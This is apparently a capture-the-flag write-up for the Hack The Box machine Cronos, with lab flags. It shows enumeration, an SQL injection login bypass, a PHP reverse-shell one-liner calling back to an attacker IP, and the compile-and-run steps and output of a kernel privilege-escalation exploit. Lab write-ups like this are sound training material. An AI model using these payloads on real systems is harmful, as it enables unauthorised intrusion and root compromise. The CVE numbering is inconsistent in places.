

1.0 - High Level Summary

1.1 - Host Summary

> hostname, IP, OS, ports open / services on them

Hostname: Cronos

IP: 10.10.10.13

PORT STATE SERVICE

22/tcp open ssh

53/tcp open domain

80/tcp open http

1.2 - Attack Surface Summary

> high level overview of exploitable services / potential

First fuzzing:

```
ffuf -u http://cronos.htb/FUZZ -w /opt/OSCP/SecLists/Discovery/Web-Content/raft-medium-directories.txt -t 200 -c -e .php,.html,.txt,README
```

→ Result:

```
```fuff
js [Status: 301, Size: 305, Words: 20, Lines: 10]
css [Status: 301, Size: 306, Words: 20, Lines: 10]
index.php [Status: 200, Size: 2319, Words: 990, Lines: 86]
robots.txt [Status: 200, Size: 24, Words: 2, Lines: 3]
server-status [Status: 403, Size: 298, Words: 22, Lines: 12]
.php [Status: 403, Size: 289, Words: 22, Lines: 12]
.html [Status: 403, Size: 290, Words: 22, Lines: 12]
```
```

Secon Fuzzing: DNS Zone Transfer

```
host -l cronos.htb 10.10.10.13
```

→ Result:

```
```host
Using domain server:
Name: 10.10.10.13
Address: 10.10.10.13#53
Aliases:
```

```
cronos.htb name server ns1.cronos.htb.
cronos.htb has address 10.10.10.13
admin.cronos.htb has address 10.10.10.13
ns1.cronos.htb has address 10.10.10.13
www.cronos.htb has address 10.10.10.13
```
```

1.3 - Exploitation Summary

> high level overview of the services you exploited

Access admin.cronos.htb

Login

UserName :

Password :

Your Login Name or Password is invalid

Advertisement

Intercept payload request and fuzzing with technique SQL Injection:

Attack type: Battering ram

```

1 POST / HTTP/1.1
2 Host: admin.cronos.htb
3 Content-Length: 27
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://admin.cronos.htb
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://admin.cronos.htb/
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=e46j8bvt0daam8o2kaa9eqsdc0
14 Connection: close
15
16 username=admin'or%201%3d1%20or%20' '%3d'&password=$1%27$|

```

Use wordlist: /opt/OSCP/SecList/Fuzzing/SQLi/quick-SQLi.txt

Bypass admin login and get access page "<http://admin.cronos.htb/welcome.php>"

Net Tool v0.1

traceroute ▼

8.8.8.8

Execute!

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

--- 8.8.8.8 ping statistics ---

1 packets transmitted, 0 received, 100% packet loss, time 0ms

uid=33(www-data) gid=33(www-data) groups=33(www-data)

[Sign Out](#)

2.0 - Methodology and Walkthrough

2.1 - Enumeration

> scans and initial discover

First scan

```
nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -p1-65535 -oN /opt/OSCP/labs/HTB/13-Cronos/10.10.10.13.txt 10.10.10.13
```

→ Result:

```
```nmap
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
```
```

Second scan

```
nmap -Pn -nvv -sSV --version-intensity 9 -A -p22,53,80 -oN /opt/OSCP/labs/HTB/13-Cronos/nmap-versions.txt 10.10.10.13
```

→ Result:

```
```nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQCKOUbDfxsLPWvII72vC7hU4sfLkKVEqyHRpvPWV2+5s2S4kH0rS25C/
R+pyGIKHF9LGWTqTChmTbcRJLZE4cJCCOEolyoeXUZWMYJCqV8crfIHivG7Zx3wdUJ4yb54G6NIS4CQFwChHEH9xHlqsJhkpkYEnmK
KzolaovEwGqjlvWnTzXLL8TiIzI6/PV8wPHzn
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKWsTNMJT9n5sJr5U1iP8dcbkBrDMs4yp7RRAvuu10E6FmORRY
grokZVNagS1SA9mC6eakgW6NBgBEggm3kfQ=
```
```

```
| 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBIQsAL/XR/HGmUzGZgRJe/1lQvrFWnODXvxQ1Dc+Zx
53/tcp open  domain syn-ack ttl 63 ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http syn-ack ttl 63 Apache httpd 2.4.18
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
````
```

## 2.2 - Exploitation

```
> gaining a shell
Use PHP reverse_shell on PayloadAllThings
php -r '$sock=fsockopen("10.10.14.2",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'

Start listening netcat on Kali Machine:
nc -nvlp 4444
```

→ Result:

```
www-data@cronos:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cronos:/tmp$ ifconfig
ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:b9:9b:89
 inet addr:10.10.10.13 Bcast:10.10.10.255 Mask:255.255.255.0
 inet6 addr: fe80::250:56ff:feb9:9b89/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:541323 errors:0 dropped:20 overruns:0 frame:0
 TX packets:394051 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:75891412 (75.8 MB) TX bytes:201922157 (201.9 MB)

lo Link encap:Local Loopback
 inet addr:127.0.0.1 Mask:255.0.0.0
 inet6 addr: ::1/128 Scope:Host
 UP LOOPBACK RUNNING MTU:65536 Metric:1
 RX packets:4975 errors:0 dropped:0 overruns:0 frame:0
 TX packets:4975 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1
 RX bytes:485829 (485.8 KB) TX bytes:485829 (485.8 KB)

www-data@cronos:/tmp$ cat /home/noulis/user.txt
cat /home/noulis/user.txt
51d236438b333970dbba7dc3089be33b
```

## 2.3 - Elevation

> methods used to gain SYSTEM / root

```
Transfer "linpeas.sh" and check privesc:
→ Result:
```linpeas.sh
...
Possible Exploits
[1] af_packet
    CVE-2016-8655
    Source: http://www.exploit-db.com/exploits/40871
[2] exploit_x
    CVE-2018-14665
    Source: http://www.exploit-db.com/exploits/45697
[3] get_rekt
    CVE-2017-16695
    Source: http://www.exploit-db.com/exploits/45010
...
```
```

```
Use CVE-2017-16695 to get root
searchsploit -m 45010
gcc 45010.c -o cve-2017-16695
```

```
Transfer file "cve-2017-16695" on machine Cronos
chmod +x cve-2017-16695
./cve-2017-16695
```

→ Result:

```
www-data@cronos:/tmp$./cve-2017-16695 rekt
./cve-2017-16695
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff880008c86400
[*] Leaking sock struct from ffff88003770c800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003414fb40
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff88003414fb40
[*] credentials patched, launching shell...
id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

## 3.0 - Loot and Code

### 3.1 - Proof

> screenshot of whoami, ip, and flag

```

ifconfig
ifconfig
ens160 Link encap:Ethernet HWaddr 00:50:56:b9:9b:89
 inet addr:10.10.10.13 Bcast:10.10.10.255 Mask:255.255.255.0
 inet6 addr: fe80::250:56ff:feb9:9b89/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
 RX packets:541952 errors:0 dropped:20 overruns:0 frame:0
 TX packets:394940 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:75992708 (75.9 MB) TX bytes:202414459 (202.4 MB)

lo Link encap:Local Loopback
 inet addr:127.0.0.1 Mask:255.0.0.0
 inet6 addr: ::1/128 Scope:Host
 UP LOOPBACK RUNNING MTU:65536 Metric:1
 RX packets:4979 errors:0 dropped:0 overruns:0 frame:0
 TX packets:4979 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1
 RX bytes:486029 (486.0 KB) TX bytes:486029 (486.0 KB)

id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
cat /root/root.txt
cat /root/root.txt
1703b8a3c9a8dde879942c79d02fd3a0
#

```

## 3.2 - Code Used

> full exploit code with source and highlights of changes

## PHP Reverse Shell PayloadAllThings

```php

```
php -r '$sock=fsockopen("10.10.14.2",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);'
```

```

## Prives code:

```cve-2017-16995

Source: <http://www.exploit-db.com/exploits/45010>

```